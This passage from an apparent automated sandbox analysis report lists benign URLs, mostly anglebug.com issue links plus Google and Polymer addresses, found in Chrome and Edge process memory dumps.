Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2398033102.000008C40038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2398033102.000008C40038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2398033102.000008C40038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2398033102.000008C40038C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000F.00000003.2393212450.000008C4002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 0000000B.00000003.2239615933.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238074969.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 0000000B.00000002.2324602200.00001E9000678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 0000000B.00000002.2322667201.00001E900008E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: chrome.exe, 0000000B.00000003.2238934375.00001E90003E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326743782.00001E9000C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: chrome.exe, 0000000B.00000003.2246911750.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246517198.00001E90010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246875021.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323457526.00001E90002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246857475.00001E9000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246836265.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 0000000B.00000003.2246911750.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246517198.00001E90010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246875021.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323457526.00001E90002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246857475.00001E9000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246836265.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 0000000B.00000003.2246911750.00001E9000FA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246517198.00001E90010DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246163106.00001E9000ED8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246544163.00001E9000F38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246875021.00001E90007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323457526.00001E90002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246857475.00001E9000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247562461.00001E9001158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246624539.00001E90010A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247174729.00001E90003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246836265.00001E9000CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2246486743.00001E900108C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in 